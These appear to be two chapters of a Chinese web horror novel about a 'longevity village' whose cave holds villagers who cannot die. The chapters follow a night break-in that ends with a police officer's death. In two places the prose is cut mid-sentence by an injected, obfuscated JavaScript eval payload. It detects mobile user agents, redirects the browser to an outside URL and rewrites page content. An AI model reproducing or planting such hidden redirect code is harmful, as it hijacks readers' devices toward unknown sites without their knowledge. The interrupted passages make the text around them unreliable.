“但是,小三她说想带您离开这里。”小四开口道,“她很努力呢,至少我可是觉得自愧不如,即使以前没有,现在您不想和她一起出去看看吗?和小六一样出去玩玩也好,又不是就不能回来了。” 小五没有回应,直到那熟悉的村口白墙再次靠近,她才停住脚步说道,“她想做的事情我清楚,我会和她说,而你们,不要再靠近这里了。” 这实在不是一次愉快的游玩体验,小象虽然不是游客,但这样被赶出景区也实在是令她愉快不起来,她转身看向那位老人,开口问道,“你会说这里的方言吗?” 小五将双手背在身后,没有说话。作为这里的村长她当然该会说村里的方言,小象在商业区听过那些店长和自家店员讲话,用的方言,虽然难理解但也不至于听不懂语意,但小五和小三说话却一直用普通话。 按照之前小三的说法,她是会听说该本地语言的。 “…你真的是她妈妈吗?”小象认真地打量起了小五的脸,“长得…确实不像啊,性格也差远了。她——” “你该走了,外乡人。”小五想要斩断话题一般打断道。 二人还是被拒之门外了。 “…小三她不会就这样放弃的,虽然我想这样说吧…”小四叹了口气,“但是,村长看上去很笃定,她肯定了解自己的孩子,比我们了解。” “她都没回答我的问题。”小象回头看向大门说。 “…即使真像你所说的,那又怎么样呢?”小四摇了摇头,这动作让她脚下也晃了晃,“小三她看上去是发自真心想这样做的吧,那就足够了,再等等吧。” 说完,她抬头问道,“接下来你打算怎么做?” 好问题,小象现在是真的有些苦恼起来了。小四给她出了几个主意,二人在帐篷边上的石块上坐下,一同在这信号都没多少的地方上网搜索一个歇脚处。许是二人共患难过,又或者村前的草坪风景还不错,小四主动提起了自己的过去。 “你家居然就是那个地方的!”小象惊讶道,“那不就是氧吧用药的原产地城市吗?” “那种药以前在我们本地的青少年之间流行过一段时间,所以我当时一闻就意识到,那边的熏香里头有那东西。”小四嘲讽般地笑了笑,“当时我们家可抵触那玩意了,说是伤脑子,没想到现在还赶着去吸。” “不过按照小一的说法,哪怕只是止痛,那种药也确实是有效的。”小象问道,“你不考虑去那待着吗?和你奶奶一样,小一应该是不会收你钱的,总比在这扎帐篷好。” “…那里很吵,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有,当然有。本地一家大企业贡献了很多,我爸妈分到一部分,但她们也得‘贡献’些什么才能从那里真的离开。”小四说到这里轻笑一声,“工资,补偿,遣散费,各种杂七杂八的费用和贷款扣掉之后,她们才想起来,哦,家里还有个老东西要花钱呢。但是没办法了,没钱了,那能怎么办呢?” 她的语气带上了埋冤,像是要藏住这些,她曲起腿抱住,将头埋进臂弯里,呢喃一样地说,“我回去的时候就看见了她们的选择,可是我,我不知道该怎么办了,我也没钱,要上班了结果查出自己要死了,我要怪谁?爸妈?拿钱走掉的人?国家?地震?那个时候我甚至想过,如果我不知道这些就好了…” 这与新闻报道中说的不太一样,小象心想,但那两个人确实没有将老人直接丢掉,也将其带来了这里,想到这里她开口安慰道,“至少你奶奶活得还可以吧,也有自己的孩子陪在身边。” 闻言,小四却是突然抬起头笑了,“什么呀!你管那样叫活得还可以?” “…她老人家被带来这里,进去过那个神秘山洞,出来也说自己感觉不错。”小象指了指村门口。 小四看向小象,用平静的声音说,“她们两个根本就不想管奶奶,是我将病情发到网上引起了一些争议,众筹得到了了钱。我本想用拿笔钱带奶奶去医院,但她们发现这件事后开始利用奶奶到处募捐。你去过那边,看见她们在玩手机对吧?从那以后她们就成了互联网的奴隶,求到这里也是因为网上长寿村名气大,根本不是因为信那山洞真的能治病。” 说完,她看着小象,似乎在等待什么回答,但小象不知道该说什么,怜悯愤怒或者其它的什么情绪,都在小四那过于平静的表情中消然了。 “…你的奶奶,有和你说过什么吗?”小象问道,又迅速地意识到这是个太过于不合理的问题,那个老人早已无法清醒到能开口说话了。 “…她呀…”小四扯出了一个很难看的笑容,“她说,好难受,好痛,什么的,但没人听得懂。不过现在好啦,有那个山洞在她至少有个盼头了,那个天然氧吧,虽然很可疑但也比我们家客厅好得多,小一人其实还不错。而且啊,只要能再进一次那个山洞的话,说不定她就能真的好起来呢?但是,但是…” 她但是来但是去也没交代出一个转折出来,反倒是那双眼睛吐出了眼泪,她就抬起头,向天空发问般轻声道,“我走了以后,奶奶她该怎么办啊…” 没有回答,那是她死了之后才能验证的东西,所以答案现在不会出现,但她的时间又实是在不够了。 25. 长寿村与过去的秘密-下-2 “小象和小四姐姐!”小六从村口跑了出来,开心地招呼道,“你们怎么在这里呀,也是出来玩的吗?” “哈哈哈…”小四无奈地笑了,她抬头看向几乎落入山间的太阳问道,“小六怎么出来了呀?天要黑了,赶紧回家吧。” “嗯…我是出来吃饭的!”小六展示了自己鼓鼓囊囊的小零钱包,解释道,“家里的人被村长奶奶带走啦,那个厨师机按钮我够不到,就出来吃饭啦!” “带走?”小象想起了先前的那通电话,问道,“刚才原来是你家里人给小五打电话的吗?” “没有打电话,就是…”小六比划着说,“村里的人,除了我,小三姐姐和村长奶奶,所有人的手上都有一个环,如果这个人好几天不动了,这个手环就会‘嘟——’的一下给村长奶奶发电报,然后她就会来把人推走啦!” 村里给老人装备了生命体征监控装置,宿主一定时间内不移动便会主动报警通知村长。小象思索着,为何是以“移动”为判定标准而不是更普通准确的“心跳”,以及,推走,是推去哪呢? 后者倒是好猜,“是推去山脚下那边的山洞吗?” “是哦!”小六点头,又看了看远方的吊脚楼群说道,“现在我得去吃饭啦,不然晚上天黑了之后这里有点可怕,我要早点回来的。” “…嗯,路上小心哦。”小四说着摸了摸小六的头,等她走远后才看向小象说道,“要给小三打个电话问问吗?” 接起电话的小三声音相当闷,“是你们…抱歉啊,刚才没能拦着她。” “你不是根本拦不住吗?”小象笑道,将刚才小六带来的消息和对方说了,小三听后沉默片刻,随即表示自己这就去看看。 “…往山脚的路确实有车轮印子。”她说道,“这是,手推车?” “如果说是送老人去山洞‘疗养’的,那怎么想都该直接推轮椅吧。”小象疑惑道,“不然那些人怎么出来?也靠发电报让你妈接送吗?” “而且疗养也很奇怪啊,村长刚才自己说了那里没用的…你能想办法,去那个山洞门口附近看看吗?”小四问道。 “有点难,我妈要看我一直不在肯定得怀疑,而且…”小三声音有些低,“这里的路啊森林里完全是黑的,没有灯啊…手机都照不亮诶,好恐怖。” “要不,找小二过来帮忙?警察肯定有照明装备吧。”小象提议,“天黑后村里没人看得清,一会你想办法摸出来给我们开门,然后…” “…计划继续?”小三声音有了劲。 小四眨了眨眼。 “计划继续!”小象鼓励道,“这可是个好机会呢。” 待筹备齐全,天色也彻底暗了下来,景区人群散去,远处的地上和门牌边也没剩下几盏灯开着了,这一块的人仿佛在落日之后就丢失了出门的欲望。 “一会我打头!”小二还穿着制服就来了,她背了个包,郑重其事地说着,“进去后我们就尽快往山脚下赶,在离开村长家范围前都不要开灯!” “哦哦好…”小四认真听着,待小二又交代完行动细节后,她忍不住问道,“请问,警官你为什么会来参与我们的这个…捣乱行动呢?” “哈哈!”小三在电话那头笑了。 “…上午我回去之后仔细想了想,虽然小一说的对,但是我的工作是反诈,无论如何,我是不能被自己的想法影响的吧。”小二有些不好意思地说道,又郑重了起来,“所以为了将工作贯彻到底,我决定将村里的真相带出去。” “…总感觉我以前也是说得出这种话的…”小四叹了口气。 “别说得好像你已经是个中年人了一样啊!”小三说道。 “…从剩余时间来看我算老年人吧?”小四笑道,“不过,我刚才确实有犹豫过要不要干脆收拾帐篷走了算了,直接和小象一起去城里扎帐篷也比在这好,这里信号不行。现在我倒是真有点想去那山洞里看看,而且,这还挺有趣。” “捣乱行动?”小象问道。 “很有趣吧!”小四笑着说,“有种大冒险的感觉!” 她这样笑着时,脸上的病色都自愧不如地退散了,仿佛凝聚的情绪也为她短暂地凝聚了生命力,至少在此时,她似乎也有了想去做的事情。 “确实,如果能带出去些让这里旅游业大受打击的新闻,那我也算是不虚此行了。”小象赞同地点头。 “…好糟糕的游客啊。”小二低声说。 “我可不是游客。”小象摇了摇手指。 “说起来,门口的警卫怎么办?”小二问道。 “我找小一要来了换班表!”小三笑着说,“她说那个门可以从外面直接开,趁换班的机会溜进来吧!” 按照先前商量好的,几人跟做贼一样,趁警卫的手电筒光圈远去悄悄摸进了村,现在这里黑得过份,墙上的窗像是黑出来的一块洞,只有脚下的水泥地与天空还勉强没完全沉入暗色之中。 “我们就一直这样联系。”小三点了点耳机,“山里信号可能不好,你们三个可别走散了。” “好。”小二紧张地点头,又问道,“那个…门的钥匙呢?” 小三微笑着递给了小二一把大号老虎钳。 “…喂!”小二当然是没接,她扯了扯自己的制服,“你看看这是什么?!你猜猜我知法犯法会是什么下场?!” “所以,记得戴手套。”小三龇牙咧嘴地笑了,“钥匙我妈随身携带根本拿不到,只能这样了。不过肯定会弄出动静的话就别担心隐蔽性问题了,我会尽量拖住我妈,让她晚一点发现的。” 小二倒吸一口气,看了那老虎钳许久,眼睛一睁一闭,还是接过了。 “这就对啦!”小三拍了拍小二的肩膀,“加油啊警官,长寿村反诈就靠你了!” “…交给我吧!”小二还真就振作起来了,她抓住老虎钳就像抓着警棍,使命感令她充满力量。 “不过,我们是要带什么东西出来呢?”小象问道,“照片吗?” “差不多吧。”小三摸了摸下巴,“照片,物证,之类能证明真相的东西?你们到了那一块总归能看到点不对劲的东西吧,把那些记下来就好。到时候你们记得想办法弄出点动静…对了,那里不是有个长寿河源头吗?我记得那里只是一处小水塘,你们想办法把那里堵住,时间差不多了我就喊小一她们进来。” 待小三回到家确认小五确实在屋内,拌着那二人的交谈声,几人开始行动。 “你去哪了?”小五的声音依旧很沉。 “出去看看小六回来了没,我看见她刚出门了。”小三声音稳定,“她们家大人呢?真死了?” “喂…”小二依旧为此用词感到不满,不过小三现在有名正言顺不回复她的理由。 但小五并没有出声斥责,对话中断片刻,又以她的叹气声再次开始。 “…我们村的事,也是时候告诉你了。”小五说道,“大概五六年前,因灾难重建还未完成,老人都被临时安置在村外一处公寓楼,就是现在作为工作人员宿舍的那一栋。” 在村内穿行的几人都打起了精神听着,这可是大秘密。 “六七年前?”小三疑惑,“那不是离地震发生已经过了快十年了吗,怎么修了这么久?” “…因为那不是地震,或者说,不完全是地震。”小五说,“那是寿村自古以来一直存在的一种疾病,致命的突发病,村里的人会不定期地因这疾病而猝死。多的你也不用知道,只需要知道,地震不是偶然,建筑坍塌将一些问题暴露在了明面上,经历了近十年的整改,现在那种疾病基本上已经不再继续传播了。” 小三沉默着,似乎是在思考。而另一边的人也断断续续地听着,几人已经跑过村长家即将沿上山路深入森林,小二走在前面开路,小象扶着小四,在秘密与漆黑的山林入口前,她们都不约而同地放慢了脚步。 “村里无法行动的老人也集中居住了近十年之久,那段时间让她们之中产生了一种,不必开口便能一同遵守某种规则默契。当时我因琐事鲜少在那里停留,等我发现她们似乎在隐瞒我什么时已经太晚了。”小五顿了顿,继续说道,“有个独自带着孩子混入公寓中的老人在那里藏了近半年,等我找到时,老人已经死了,而那个差点一同死去的孩子就是小六。” 小三轻轻吸了口气,不可置信地说,“所以…小六她——” “她是村外人。”小五说,“她是寿村在默契中留下的孩子,是你离开之后,被需要留在这里的,下一任村长。” 竟是如此,小象想起小六天真的笑脸,一时不知该说什么。 但小二的反应就大得多了,她倒吸一口气,喃喃道,“这不就是拐卖吗?!不行…得带她离开这里。” 对话因沉默而再次中断片刻。 “…这里根本就不需要下一任村长。”小三声音沉下,“你在这里做的事情,政府的人,甚至机器人都能做,凭什么——” “不,必须是人来做。”小五说,“必须是,从这村长大,从未离开,且从未进过山洞的人来做。” “…所以,其实你也没走进去过。”小三一愣。 “…对,所以我只会有正常人寿命,十年,二十年,对这里而言不过是一场梦的时间过后我就会死去,而那时,就轮到小六去看着那些人。”小五说,谈起自己的死时,她并没有停顿哪怕一瞬间。 “所以为什么?”小三问道,“为什么寿村一定需要一个村长呢?” 就在这时,深入森林的几人抵达了脚下石板小路的尽头,那是林间一处勉强称得上平坦的碎石台,一处水塘正漏下几缕细流链接上一路向下的沟壑水道,那就是长寿河的源头。而在水塘之后,一道门被大型挂锁封锁在山壁上,近五米高,远比入村的门沉重。 “…哇…”小二抬起手电筒感叹道,“这个门是怎么建在这的啊…” “而且…”小四气喘吁吁地说道,“这个锁,也太…” 她没说完的话小象明白,这是一把过于沉重的大锁,无论是对内还是对外,它是在防着谁呢? “而且,之前这不是才有人进去过。”小象说,“咱们要是碰上了那得多尴尬。” “…那,那些人应该都看不太清了吧,哈哈…”小四挠了挠脸颊。 小二看了片刻,掏出老虎钳比划了起来,“没关系,能行!”她说着动起了手,“不过需要一点时间,你们帮我看着点。” “加油。”小象点头。 话虽如此,她左顾右盼,除了树影外连值得警惕的虫子都没多少,一时无风,这里安静得好像连自然也死了。她和小四从山体边角捡来石头搬来堵住河道,水体很小,却四处找不到出水口,潭水似乎是从地下涌出的。 “因为需要有人去做那件事。”小五说。 “…你说,把那些快断气的推进那山洞又推出来?”小三说着忍不住咂舌,“何必呢…而且说真的,这也不是只有村长能干的事情吧。” “没有推出来。”小五说。 “…什么?”小三疑问的声音有些迟。 “…没有推出来,活人不该进那处山洞,我只会把死人推进去。”小五说,“那些人是自己走出来的,村长要做的是开门,以及守住秘密。” 山洞这边,听见这句话的所有人都愣住了,不止是因为话语中的内容实在离奇,也是因为,山脚下的那扇门内,传出了敲击声。 “咚,咚——”沉重而缓慢的回音从内部响起,像是在敲钟。 “寿村中曾经盛行过一种惩罚,将犯了大错的人关进那处山洞,三日后开门,如果人死了那便死了,若人还活着,那就将其视为一个崭新的人,不追究过往的错误。”小五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296745|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓说道,“但是后来,有人发现从山洞中活下来的人,都活得,太久了,于是那处山洞便转而被视为一处神迹。但它很快就吸引来了一些人,那些人研究之后发现,存活者的五感,反应能力,心跳和代谢都大大降低。” 没有人给出任何反应,敲击声逐渐消失了。 “但是,死不掉。人动不了,呼吸都困难,但心跳还在。”小五叹了口气,“仪器报警,我将人送入山洞,三日后开门,又把人带回来,这种惩罚循环往复。那些人离开后,只有我和极个别人知道这件事,我们需要保守这里的秘密,直到有一天没人再能从那山洞中活着走出来。以前,村里人偶尔会说些让你觉得不舒服的话吧,那可以说是一群疯子,死不了的没有正常人。” “…这…”小三的声音有些轻,“我觉得…还不如让她们死了呢。” “不能安乐死,效果如何不提,那个检测环是…一些外人带来的东西。”小五说,“我也一样,小六也一样,所以我们都不能走。你的那些朋友们必须尽快离开,抱歉,我没办法接待她们。” 所以这里确实是一处仓库,小象意识到自己对此地的第一印象并没有出错,那些老人不过是寿命的载体,没有谁需要,也哪都去不了,只能被停放在那些屋子里等待过期的那一天。 “…不该是这样的。”说这句话的人是小二与小三,但不同的是,小二的声音中满含愤怒,小三的声音却很轻,什么也穿不过。 小五没有回应。 此时门锁已经落下,水塘也被堵得差不多,已没有任何一丝疏漏了。 小三面对小五沉默着。 小二面对石门沉默着。 “…要回去吗?”小象问小四,“你也听见了,这里面确实不是治病的地方。” 小四沉默地看着那扇门。 小象又看向小二,“咱们站门口拍点照就差不多了,小一那肯定会派人进来看的,我们用不着…” “我的心脏,现在跳得很快。”小二说道,“所以没关系的,我要进去。” 说着,她抓住门把一步一步向后退,比林间还要黑沉的空气徐徐向三人展开,伴随令人呕吐欲翻涌的恶臭涌出,那是多重人最厌恶的存在混合在一起时才能散发出的气味,光是被摸到鼻尖就要叫人昏倒。几人纷纷退后一步掩住口鼻,但衣物效果有限,小四更是摇摇欲坠,几乎要倒下了。 这里实在是不适合任何游客参观。 电话另一头,小三的声音低沉,“可是,我…” “进去之后就没有信号了。”小二看着手机,皱起眉说,“我们得留个人——” “等一下!”小三急忙说道。 “…怎么了?”小五问道。 “不,不是,我——”小三慌忙措辞,“那个山洞,没有人该进去的对吧?我可不是为了这样才——” “…确实没有活人该进去。”小五说,“像我之前说的,那里面就只有死人,那个外来的老人也是,她本来应该已经死了,但却凭着多处癌症细胞增殖抗过了山洞带来的衰竭。即使如此她也没有再次醒来开口说话的可能,现在不过是一具会喘气的尸体,小四,她或许都不记得小四是谁了吧。” 闻言,小象回头看向小四,只见原先站着还有些摇晃的她不知何时起变得平静了下来,一动不动。 突然,她笑了,声音如跳跃枝头的鸟一般轻快,“这样一想,如果能一直待在里面的话,不就能一直一直睡下去了吗?那就是我最想要的东西了,没什么比那更好的,这趟可真是来对了!” 闻言,小二慌忙劝道,“可,可是,即使如此,你走了之后,你的家人——” 她并不知道小四原本的目的,只记得这是个“在门口扎帐篷想进村的病人”,此时真相已然揭晓,这里不是医院,病人当然不该停留。 “…我们已经没有可能一起回家了。”小四平静地看向小二,说道,“我们的家,那间屋子也早就被抵押了,她们没和我一起来,也没想过带我一起走。” 说着,她看向山洞,声音坚定,“我要进去,别拦着我了。” 小二哑然,最后,她只是说,“祝你好运。” “…那如果,活人进去了会怎么样?”小三问道。 “…你问我这个做什么?”小五的声音严肃了起来。 “就是,想知道。”小三声音僵硬,“如果一个活人,年轻人进去了,会怎么样?” 小四踏入洞口的动作因此而停顿。 “…如果长时间待在里面会染上疾病,那山洞就是病源,那人可能会死,或者一直死不了。”小五说,“就像三十多年前发生的,寿村的灾难。那时你应该刚出生没多久,还记得这件事吗?当时,村里几乎所有的年轻人都因为灾难而离开了。” “所以短时间就没事!”小二点了点头。 “不…”小三说。 “…不用担心我,我是做好准备才来的。”小二说。 “那你要做好准备。”小五说。 “什么准备?”小三问道。 “为了完成工作吃点苦头的准备。”小二笑了。 “因为了解它而备受折磨的准备。”小五说。 小三沉默了。 “…抱歉。”小四说,“无论是我,还是我奶奶的事情,请都替我向那位村长道歉。接下来的事情,让我就这样祝你顺利吧,再见了。” 说完,小四便丢下了肩上的包,只身走进了山洞中,她的声音和背影迅速地被黑暗吞噬了,只有那投影在脚下的一小圈光在逐渐深入其中,它在一处顿了顿,但很快便拐进了一处角落。 通讯断开一位。 “…看来这里面比我想象中的还深。”小二咽了口口水,举起摄影机与手电筒,朝小象点了点头,抬起脚跨入其中。 通讯再次断开一位。 26. 长寿村与过去的秘密-下-3 在自然中独处的人很快就会意识到自然的存在无法忽视,那是人类靠人工挣脱,却又永远无法离开的出发点与目的地。哭泣,呼吸,行走,奔跑,死亡——死亡之前,一部分人停在了一处山洞门口。 那些人在等什么? 小象等在原地,等待小二带回一份录像来满足她的好奇心。 “…抱歉。”耳机里突然传来小五的声音,小象这才意识到那段提前揭露部分秘密的通话还在继续。 “…这次又是为什么道歉?”小三问,她的声音听上去也有些累了。 小五停顿了许久,再次开口时,她苍老的声音带上了几分踌躇,“因为,我没能阻止你的妈妈,我的孩子,死于那场灾难。” 小三顿了顿,惊讶道,“…你的意思是——” “按照辈份,你也该叫我奶奶的。”小五说道,“而你的父母,以及当年灾难中离开的所有人,除了村中那些老人外寿村的所有人,至今仍在那处山洞深处中呼吸着,无法行动,也无法死去。” 秘密混杂环境音流入耳中,小象听着,看着,眼前缝隙中的黑色空洞吐露风声,像是在呼吸一般,它的内脏一定已经腐烂到无可救药了,呼出的吐息臭得要命。 离死亡多近的生命才不算生命?缺了哪一部份的人类才不算是人类?小象看着眼前的山洞,那是距离死亡无限接近的地方,那么主动靠近的人到底是在求生还是求死,没人回答她。 耳机里传来了椅子被突然推动的刺耳声音。 “…抱歉,你或许并不想知道这个。”小五肃穆地说道,“这就是寿村,长寿河源头,那处山洞中最大的秘密了,我被要求死守这份秘密直到下一任村长继位。这个人本该是你,但将你送走本就是为了让你远离这些东西,既然你想知道,那我就将它告诉你,但你绝不可将其外泄,不然这个村子中的所有人,包括我,都会承受灭顶之灾…你怎么了?” “…没什么,我——”通话中断了。 现在就只剩下小象一个人了,万籁俱寂中,她看着黑下来的手机屏幕和山洞内,心跳莫名加快。她回头看,被堵住的河流之源与来时路都与原来没有变化。没有人催促,但她就是有种不得不做些什么的感觉,于是便握紧手电筒,捂住口鼻,靠近山洞,将头探进了那活人绝不该深入之地。 林子里起风了,她几乎是被吸进山洞里的,入口处,脚下地面并没有特别的痕迹,至少没有出现小象想象中的恐怖画面,她决定再往里走几步看看。 洞道高窄,手电筒光偶尔划些许人工凿刻的沟壑,这里肉眼可见地潮湿,深处偶然有滴水声跳过,墙壁上挂着粘腻的水珠,这里绝不适合活人安眠。 明明没有人在,但小象就是有一种自己不该出声打扰的自觉,她决定往回,转头时忽然瞥见了山洞门内侧—— ——纵横交错的黑褐抓痕密布在内门上,那是谁想出去。 忽然,原本寂静的大山忽然躁动了起来,并非是地震,而是与先前几人上山时相似的,有访客来临时被动发生的现象。但小象回头却什么也看不见,没有野兽的眼睛也没有车灯,她刚想松口气,却突觉那山洞的黑就在背后注视着她,于是她又转头看向漆黑洞内,背对树林。 无论怎样选,背后总不得不面对一处未知而危险的东西,她突然感受到了恐惧。 好像有什么东西要降临到她头上了。 躁动越发难以忽视,趁着群鸟振翅飞走的动静,小象连忙四处找寻一处能让自己躲藏的角落,但那些过于纤细的树枝与山岩落石无法挡住她的身型,情急之下只得折返并藏入山门后方的死角内,恶臭湿气裹挟间,她觉得自己好像踩到并踩碎了什么东西,她看不清。 扰动树林者并没有让她等太久,她听见一个人气喘吁吁地停在门口,却不敢出门与其相认。来者停顿片刻,布料摩擦,似乎是从地上拿起了什么划拉过地面的东西,随即步入山洞之中,手电光从缝隙间一闪而过,小象还是看不清来者的脸。 一步,两步,心跳与脚步声同频,慢而巨大。 光线带着人影朝深处走去,脚步声稍远,小象连忙离开山洞,月光之下,她发现原本停在门边的大型老虎钳消失了。门内忽然传来了絮絮杂音,她回头,那像是谁在争吵,又好像只是她的错觉,不过是风吹了进去而已。 “咚——”巨大的敲击声从深处一路跳转岩壁传出,这绝不是错觉,小象忽感到背后汗毛竖起,没再犹豫,抬脚就往山下跑。手电筒只照亮脚下,但她依然觉得显眼得像穿了反光服的猎物,上山时只是有点烦人的枝叶草根石木此时像在主动往她的身前脸上凑,根茎高到要缠上她的腿。 身后,有脚步声与强光逼近。 山路出口和村长家就在眼前了,小象犹豫片刻,就在那一瞬间,有什么东西从她的身后顺地心引力一路向下滚至脚边。 退开,低头,小象与头颅歪斜在脖颈一侧的小二对视,不,看那凹陷下去的脑壳,小二已经死了,她只是恰巧停留在了小二的目视前方,就像,就像她们刚进村时,那些窗户里投射出的视线一样—— ——进入那山洞中的她还是没能活着离开。 “什么人?!”小五站在家门口质问道。 小象没再犹豫,避开门内漏出的光快步朝村外方向跑去,身后却是传来了另一人的声音。 “啊,是我。”小三喘着气说,“我不是说突然想起来有个多管闲事的外人跑进村了吗?刚才上山去找,没想到她被吓到自己滚下来了。” 或许是因为下山时的跑动,她的声音似乎有些颤抖。 接下来的话小象没再听,她被一栋栋别无二致的房屋包围,没有任何可以躲藏的地方,这里没有摄像头,但那黑洞洞的窗户却无处不在,没有门开着,没有窗被拉上帘子。 “啊,小象姐姐!身旁一窗户里有只手在招,小六努力地探出脑袋来笑着问道,“你看着脏兮兮的,不会是从山上滚下来的吧?” 小象看着她,不知如何答复这位下一任村长。小六也看着小象,突然出现在窗外的访客,头上和衣服上都是泥土和草,这可不是村子里该出现的东西,容易腐坏的东西不被这里欢迎。 “嗯…你看到了那个山洞里的东西吗?”小六问道,又皱起眉说,“那里很糟糕诶…都是些这里待不下去的东西。” “…其实我没有看到。”小象说,“我没有进去。” “这样啊!”小六点了点头,又从窗户中朝外探,好奇道,“不过只有你回来了,另外两位姐姐呢?要三天后才会回来吗?” “…你看到她们两个,看见我们过去了?”小象惊讶地问道。 “当然啦,我们都看到了呀!”小六摊手,“我之前不是指给你看了嘛,在这里,没什么东西是能瞒住大家的!” 一瞬间,小象感受到了身后房屋的窗洞内传来的视线,她又不小心站到人家视野里了。她一转身就看见远方有扫荡着的光线靠近,不能再犹豫下去了。 “…但你并没有告诉村长。”小象看着小六道眼睛说,“也没有将我们之前商量的事情告诉她。” “嗯?”小六反而疑惑,“要说吗?山上又不在村里,村外的事情村长奶奶不管的呀。而且…” 小六说着,像是听见了笑话一样忍不住笑了起来,“明明大家都看着呢,就只有村长奶奶看不到村里的事情,还要那个手环叫才能知道,哈哈哈——” “…你知道你本来是村外的人,几乎算是被强行留在这里的,这其实算一种拐卖。”小象加快声音说道,“现在我要离开这里,你——” “我早就知道了。”小六疑惑道,“毕竟,我和大家根本不一样呀?” “…你知道。”小象顿住了。 “我最近学了个新东西!”小六忽然高兴了起来,炫耀般说道,“保险,对!小六是大家为自己的买的养老保险!对吧?不是说我很值钱吗?啊,如果我是下一任村长的话…村长奶奶的手套就是我的啦!” 她很得意于自己的活学活用,但眼前的小象看着脸色不太好,于是她歪了歪头问道,“不对吗?” “…好吧,你是对的。”小象看了眼身后问道,“我想离开这里,你能帮我开下门吗?” “可以啊。”小六相当干脆地答应了,“你早就该走啦,现在天都黑了,回去的时候要小心点哦。” 避开手电筒探照,借村里人的指纹,小象再次离开了这个村子,无视警卫那如同见了鬼一般的表情跑向远处,小四的帐篷还停在那里,那被搬来当椅子的石头也是,她的箱子也是。 “…你怎么在这里。”小一问道,她也在这,远处有些穿着工作服的人候着,确认回到外界,小象总算是松了口气。 “小三和你说了什么?”小象气喘吁吁地问道。 “…就说让我等着,你当时又不是不在场。”小一怀疑地看着小象,又看向她身后问道,“怎么就你一个?那警察呢?扎帐篷守着的游客呢?对了还有小三,她人呢?” 前两位不谈,最后一位很快就出现了,小三独自一人离开村口,她笑着与警卫打了招呼后,目的明确地朝二人走来。她的棒球帽没有挂叶子,手上什么也没有,没有老虎钳,没有相机,没有血,没有颤抖。 “…我还找你呢,你原来已经跑出来了。”小三看向小象,皱起眉说,“怎么就你一个人跑出来?小四去哪了?” “…你要问我?”小象反问道,“你没看见吗?” “…还有一个吗不是?”小一摊手,看向小三一来脸色就转瞬即下的小象,心里有了不好的预感,追问道,“小二,那个警察不是也来凑热闹了,她人呢?” “…很遗憾。”小三叹了口气,沉下声音与视线说道,“她在没有准备好的情况下上山,结果不小心自己摔了下来,砸到脑袋走了。” 闻言,小一愣住了,她看向小象,后者回避视线,于是她又看向小三,质问道,“…她人呢?” 小三面色没变,开口道,“…我说了,很——” 小一一把扯住了她的衣领,凑近去低声说,“你以为我会信?!告诉我实话,她可是警察,要是出事了别说是你一个在这没关系的——” “但是,意外不就是这样…”小三轻声说道,她不顾领口发紧,就这样顺势抬起头看天,今夜晴朗,看着稍微缺了一口的月,她叹息道,“令人遗憾。” 她的声音平静中带着些悲哀,面色也无多少波澜,就好像坐车时不小心看见路边死去的小动物,心不在焉地默哀了一番,就继续朝自己的目的地前进。 “你——”小一就要 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这样一句一句地说完,她叹了口气将肺里最后的氧气也扔出去,重新呼吸并看向二人,问道,“我推理出的情况就是这样了,你们觉得如何?” 小象“觉得”很糟糕,但没有第二份真相能给她品尝。探险已经结束了,迷宫的主人如是说,秘密就是奖励,这里没有给她的任务,时间到了,她该离开了。 小一什么都没有说,转身就走了,脚步重得像要把什么东西踩下去才能继续前进。 看着对方离去的身影,小象问道,“你后悔让我们进村参观了吗?” 小三也看着小一离去,回答道,“当然,这里可不是景区。” 说着,她微微侧头看向小象,夜风吹起棒球帽檐下碎发遮去她的视线,只有笑容与语气是友好的,“不过如果今晚你无处可去,倒也可以来我家坐坐,我和妈妈说过你的情况,这次,你大可期待一□□验。” “…不了。”小象拒绝,“我不是游客,以后不会再来这里,希望也不会再遇到你了。” “好吧。”小三叹了口气,又说,“那至少让我送你去警局吧,正好我也得去把这里的事情告诉大家,天黑了,山路可不好走。” 小三开车,四轮沿山间公路盘旋向上,远光灯一次又一次在山壁上滑动,山林缝隙间阴影随行,树冠代替乌云遮蔽天幕。小象坐在副驾驶,她看着窗外像在阻拦她们离去的枝叶,忽然想起这个国家的人大多认为动植物是有灵的,都是有生命的。 那寿命呢?她怀着疑问,看向近乎不死的自然,你也会因寿命将至而抗拒衰老吗。 很久很久以后,有一位亲身经历者回答了这个问题:是的,这颗星球范围内的“自然”会以自己的方式反抗衰亡。 车里没人说话,直到驶入因广告招牌而拥挤繁忙的街头。 “你喜欢这里吗?”小三问道。 “不喜欢。”小象直言,又问,“你呢?” “…之前只是不喜欢。”小三说着,从后视镜看向小象,说道,“既然你不喜欢这儿,就请不要多管闲事了。” 小象没有回答。 车窗之外,饭后散步的游客们聚集在一个个贩卖“长寿菜”的小摊边上,推销用词惊人的一致,那些买菜的人当真愚钝到无法看清这些东西吗? 看远一点吧,同样的摊位已经铺满了这里的街道,买菜的早就没得选了。 报案,描述案情,给出口供,等待。二人坐在警局口供室外走廊的油绿不锈钢椅上等候办案的人上班,昏沉又刺眼的灯光充斥空间,这里没有窗,电子钟会代替太阳通知日出时间。似乎没有人发现小二失踪了,明明她离开得相当匆忙,小象看见她工位上的电话听筒落在桌面上,电话线草草牵着,那定是一次戛然而止的通话,那个人也是来求助的吗? “我讨厌这里。”小象突然开口道。 “…因为我吗?”小三问,又说,“抱歉。” 小象摇了摇头,“我确实讨厌你,但我讨厌这里与你无关。” 